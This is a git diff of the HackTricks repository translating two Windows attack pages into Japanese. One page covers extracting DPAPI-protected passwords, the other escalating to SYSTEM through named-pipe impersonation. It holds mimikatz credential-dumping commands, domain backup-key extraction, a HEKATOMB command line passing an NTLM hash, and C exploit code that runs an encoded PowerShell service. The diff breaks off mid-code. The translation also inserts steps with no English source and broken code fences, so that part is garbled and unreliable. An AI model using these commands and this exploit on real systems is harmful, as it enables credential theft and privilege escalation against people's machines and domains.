**ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 09e85ba3a..5ba4a8edd 100644 --- a/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -1,55 +1,54 @@ -# DPAPI - Extracting Passwords +# DPAPI - パスワードの抽出
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} -While creating this post mimikatz was having problems with every action that interacted with DPAPI therefore **most of the examples and images were taken from**: [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) +この投稿を作成する際、mimikatzはDPAPIとの対話を伴うすべてのアクションで問題が発生していました。そのため、**ほとんどの例と画像は**こちらから取得しました:[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) -## What is DPAPI +## DPAPIとは -Its primary use in the Windows operating system is to **perform symmetric encryption of asymmetric private keys**, using a user or system secret as a significant contribution of entropy.\ -**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets. +Windowsオペレーティングシステムでの主な使用目的は、非対称な秘密鍵の対称暗号化を実行するために、ユーザーまたはシステムの秘密をエントロピーの重要な要素として使用することです。\ +**DPAPIを使用すると、開発者はユーザーのログオンシークレットから派生した対称鍵を使用してキーを暗号化**することができます。また、システムの暗号化の場合は、システムのドメイン認証シークレットを使用します。 -This makes very easy to developer to **save encrypted data** in the computer **without** needing to **worry** how to **protect** the **encryption** **key**. +これにより、開発者は**暗号化キーを保護する方法を心配することなく**、コンピュータに**暗号化されたデータを保存**することが非常に簡単になります。 -### What does DPAPI protect? +### DPAPIは何を保護するのか? -DPAPI is utilized to protect the following personal data: +DPAPIは、次の個人データを保護するために使用されます: -* Passwords and form auto-completion data in Internet Explorer, Google \*Chrome -* E-mail account passwords in Outlook, Windows Mail, Windows Mail, etc. -* Internal FTP manager account passwords -* Shared folders and resources access passwords -* Wireless network account keys and passwords -* Encryption key in Windows CardSpace and Windows Vault -* Remote desktop connection passwords, .NET Passport -* Private keys for Encrypting File System (EFS), encrypting mail S-MIME, other user's certificates, SSL/TLS in Internet Information Services -* EAP/TLS and 802.1x (VPN and WiFi authentication) -* Network passwords in Credential Manager -* Personal data in any application programmatically protected with the API function CryptProtectData. For example, in Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk etc. +* Internet Explorer、Google \*Chromeのパスワードとフォームの自動入力データ +* Outlook、Windows Mail、Windows Mailなどのメールアカウントのパスワード +* 内部FTPマネージャーアカウントのパスワード +* 共有フォルダとリソースへのアクセスパスワード +* ワイヤレスネットワークアカウントのキーとパスワード +* Windows CardSpaceとWindows Vaultの暗号化キー +* リモートデスクトップ接続のパスワード、.NET Passport +* 暗号化ファイルシステム(EFS)、メールS-MIMEの暗号化、他のユーザーの証明書、Internet Information ServicesのSSL/TLSのプライベートキー +* EAP/TLSおよび802.1x(VPNおよびWiFi認証) +* 資格情報マネージャーのネットワークパスワード +* API関数CryptProtectDataでプログラム的に保護された任意のアプリケーションの個人データ。たとえば、Skype、Windows Rights Management Services、Windows Media、MSNメッセンジャー、Google Talkなど。 * ... {% hint style="info" %} -An example of a successful and clever way to protect data using DPAPI is the implementation of the auto-completion password encryption algorithm in Internet Explorer. To encrypt the login and password for a certain web page, it calls the CryptProtectData function, where in the optional entropy parameter it specifies the address of the web page. Thus, unless one knows the original URL where the password was entered, nobody, not even Internet Explorer itself, can decrypt that data back. +DPAPIを使用してデータを保護するための成功した賢い方法の例は、Internet Explorerの自動入力パスワード暗号化アルゴリズムの実装です。特定のWebページのログインとパスワードを暗号化するために、CryptProtectData関数を呼び出し、オプションのエントロピーパラメータにはWebページのアドレスを指定します。したがって、パスワードが入力された元のURLを知らない限り、Internet Explorer自体も含めて、そのデータを復号化することはできません。 {% endhint %} -## List Vault - +## リストVault ```bash # From cmd vaultcmd /listcreds:"Windows Credentials" /all @@ -57,20 +56,16 @@ vaultcmd /listcreds:"Windows Credentials" /all # From mimikatz mimikatz vault::list ``` +## 資格情報ファイル -## Credential Files - -The **credentials files protected by the master password** could be located in: - +**マスターパスワードで保護された資格情報ファイル**は、次の場所に存在する可能性があります: ``` dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` - -Get credentials info using mimikatz `dpapi::cred`, in the response you can find interesting info such as the encrypted data and he guidMasterKey. - +以下は、mimikatzの`dpapi::cred`を使用して資格情報の情報を取得する方法です。レスポンスには、暗号化されたデータとguidMasterKeyなどの興味深い情報が含まれています。 ```bash mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 @@ -80,17 +75,13 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} pbData : b8f619[...snip...]b493fe [..] ``` - -You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt: - +適切な `/masterkey` を使用して、**mimikatzモジュール** `dpapi::cred` を使用して復号化できます: ``` dpapi::cred /in:C:\path\to\encrypted\file /masterkey: ``` +## マスターキー -## Master Keys - -The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [**Security Identifier**](https://en.wikipedia.org/wiki/Security\_Identifier) **of that user**. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS). - +ユーザーのRSAキーを暗号化するために使用されるDPAPIキーは、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに格納されます。ここで、{SID}はそのユーザーの[**セキュリティ識別子**](https://en.wikipedia.org/wiki/Security\_Identifier)です。**DPAPIキーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに格納されます**。通常、これは64バイトのランダムデータです。(このディレクトリは保護されているため、`cmd`から`dir`を使用してリストすることはできませんが、PSからはリストすることができます)。 ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect @@ -99,23 +90,38 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\ Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID} Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} ``` - -This is what a bunch of Master Keys of a user will looks like: +ユーザーのマスターキーの一部は次のようになります: ![](<../../.gitbook/assets/image (324).png>) -Usually **each master keys is an encrypted symmetric key that can decrypt other content**. Therefore, **extracting** the **encrypted Master Key** is interesting in order to **decrypt** later that **other content** encrypted with it. +通常、**各マスターキーは他のコンテンツを復号化できる暗号化された対称キー**です。したがって、**他のコンテンツ**を復号化するために後で使用するために、**暗号化されたマスターキー**を**抽出する**ことは興味深いです。 -### Extract master key & decrypt - -In the previous section we found the guidMasterKey which looked like `3e90dd9e-f901-40a1-b691-84d7f647b8fe`, this file will be inside: +### マスターキーの抽出と復号化 +前のセクションで、`3e90dd9e-f901-40a1-b691-84d7f647b8fe`のように見えるguidMasterKeyを見つけました。このファイルは以下にあります: ``` C:\Users\\AppData\Roaming\Microsoft\Protect\ ``` +以下の場所で、mimikatzを使用してマスターキーを抽出することができます: -For where you can extract the master key with mimikatz: +```plaintext +1. ローカルマシンのメモリからマスターキーを抽出するために、mimikatzのsekurlsaモジュールを使用します。 +2. mimikatzを実行し、コマンドプロンプトで以下のコマンドを入力します: + ``` + sekurlsa::dpapi + ``` + +3. マスターキーを抽出するために、以下のコマンドを入力します: + ``` + dpapi::masterkey + ``` + +4. マスターキーが抽出されると、その値を使用してデータを復号化することができます。 +``` +``` + +注意: この手法は管理者権限が必要です。また、Windowsのバージョンやセキュリティ設定によっては、マスターキーの抽出が制限される場合があります。 ```bash # If you know the users password dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected @@ -123,80 +129,69 @@ dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1- # If you don't have the users password and inside an AD dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc ``` +ファイルのマスターキーは出力に表示されます。 -The master key of the file will appear in the output. - -Finally, you can use that **masterkey** to **decrypt** the **credential file**: - +最後に、その**マスターキー**を使用して**資格情報ファイル**を**復号化**できます: ``` mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df ``` +### 管理者権限でローカルのマスターキーを抽出する -### Extract all local Master Keys with Administrator - -If you are administrator you can obtain the dpapi master keys using: - +管理者権限を持っている場合、以下の手順でdpapiのマスターキーを取得することができます。 ``` sekurlsa::dpapi ``` - ![](<../../.gitbook/assets/image (326).png>) -### Extract all backup Master Keys with Domain Admin - -A domain admin may obtain the backup dpapi master keys that can be used to decrypt the encrypted keys: +### ドメイン管理者によるすべてのバックアップマスターキーの抽出 +ドメイン管理者は、暗号化されたキーを復号化するために使用できるバックアップdpapiマスターキーを取得することができます。 ``` lsadump::backupkeys /system:dc01.offense.local /export ``` - ![](<../../.gitbook/assets/image (327).png>) -Using the retrieved backup key, let's decrypt user's `spotless` master key: - +取得したバックアップキーを使用して、ユーザーの `spotless` マスターキーを復号化しましょう: ```bash dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk ``` - -We can now decrypt user's `spotless` chrome secrets using their decrypted master key: - +ユーザーの`spotless` chromeの秘密を、復号化されたマスターキーを使用して復号化することができます。 ``` dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6 ``` - ![](<../../.gitbook/assets/image (329).png>) -## Encrypting and Decrypting content +## コンテンツの暗号化と復号化 -You can find an example of how to encrypt and decrypt data with DAPI using mimikatz and C++ in [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)\ -You can find an example on how to encrypt and decrypt data with DPAPI using C# in [https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection) +DAPIを使用してデータを暗号化および復号化する方法の例については、mimikatzとC++を使用した[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)を参照してください。\ +C#を使用してDPAPIを使用してデータを暗号化および復号化する方法の例については、[https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)を参照してください。 ## SharpDPAPI -[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) is a C# port of some DPAPI functionality from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project. +[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1)は、[@gentilkiwi](https://twitter.com/gentilkiwi)の[Mimikatz](https://github.com/gentilkiwi/mimikatz/)プロジェクトからの一部のDPAPI機能をC#に移植したものです。 ## HEKATOMB -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers ip address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key. +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)は、LDAPディレクトリからすべてのユーザーとコンピュータを抽出し、RPCを介してドメインコントローラのバックアップキーを抽出するツールです。その後、スクリプトはすべてのコンピュータのIPアドレスを解決し、すべてのユーザーのDPAPIブロブを取得し、ドメインバックアップキーですべてを復号化します。 `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` -With extracted from LDAP computers list you can find every sub network even if you didn't know them ! +LDAPのコンピュータリストから抽出した場合、知らなくてもすべてのサブネットを見つけることができます! -"Because Domain Admin rights are not enough. Hack them all." +"Domain Admin権限だけでは十分ではありません。すべてをハックしましょう。" ## DonPAPI -[**DonPAPI**](https://github.com/login-securite/DonPAPI) can dump secrets protected by DPAPI automatically. +[**DonPAPI**](https://github.com/login-securite/DonPAPI)は、DPAPIで保護されたシークレットを自動的にダンプすることができます。 -## References +## 参考文献 * [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13) * [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -204,10 +199,10 @@ With extracted from LDAP computers list you can find every sub network even if y ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md index 457a0dcda..3fb3397a6 100644 --- a/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md +++ b/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md @@ -1,33 +1,30 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**Code flow:** +**コードフロー:** -1. Create a new Pipe -2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();` -3. The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish -4. Finally, uses the token obtained from the service to spawn a new _cmd.exe_ +1. 新しいパイプを作成します。 +2. 作成したパイプに接続し、何かを書き込むサービスを作成して開始します。サービスのコードは、次のエンコードされたPSコードを実行します:`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();` +3. サービスはパイプ内のクライアントからデータを受け取り、ImpersonateNamedPipeClientを呼び出してサービスの終了を待ちます。 +4. 最後に、サービスから取得したトークンを使用して新しい_cmd.exe_を生成します。 {% hint style="warning" %} -If you don't have enough privileges the exploit may get stucked and never return. +十分な特権がない場合、エクスプロイトは停止し、戻りません。 {% endhint %} - ```c #include #include @@ -40,117 +37,112 @@ If you don't have enough privileges the exploit may get stucked and never return int ServiceGo(void) { - SC_HANDLE scManager; - SC_HANDLE scService; +SC_HANDLE scManager; +SC_HANDLE scService; - scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); +scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); - if (scManager == NULL) { - return FALSE; - } +if (scManager == NULL) { +return FALSE; +} - // create Piper service - scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, - SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, - "C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", - NULL, NULL, NULL, NULL, NULL); +// create Piper service +scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, +SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, +"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", +NULL, NULL, NULL, NULL, NULL); - if (scService == NULL) { - //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); - return FALSE; - } +if (scService == NULL) { +//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); +return FALSE; +} - // launch it - StartService(scService, 0, NULL); +// launch it +StartService(scService, 0, NULL); - // wait a bit and then cleanup - Sleep(10000); - DeleteService(scService); +// wait a bit and then cleanup +Sleep(10000); +DeleteService(scService); - CloseServiceHandle(scService); - CloseServiceHandle(scManager); +CloseServiceHandle(scService); +CloseServiceHandle(scManager); } int main() { - LPCSTR sPipeName = "\\\\.\\pipe\\piper"; - HANDLE hSrvPipe; - HANDLE th; - BOOL bPipeConn; - char pPipeBuf[MESSAGE_SIZE]; - DWORD dBRead = 0; +LPCSTR sPipeName = "\\\\.\\pipe\\piper"; +HANDLE hSrvPipe; +HANDLE th; +BOOL bPipeConn; +char pPipeBuf[MESSAGE_SIZE]; +DWORD dBRead = 0; - HANDLE hImpToken; - HANDLE hNewToken; - STARTUPINFOA si; - PROCESS_INFORMATION pi; +HANDLE hImpToken; +HANDLE hNewToken; +STARTUPINFOA si; +PROCESS_INFORMATION pi; - // open pipe - hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, - PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); +// open pipe +hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, +PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); - // create and run service - th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0); +// create and run service +th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0); - // wait for the connection from the service - bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); - if (bPipeConn) { - ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL); +// wait for the connection from the service +bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); +if (bPipeConn) { +ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL); - // impersonate the service (SYSTEM) - if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { - return -1; - } +// impersonate the service (SYSTEM) +if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { +return -1; +} - // wait for the service to cleanup - WaitForSingleObject(th, INFINITE); +// wait for the service to cleanup +WaitForSingleObject(th, INFINITE); - // get a handle to impersonated token - if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { - return -2; - } +// get a handle to impersonated token +if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, 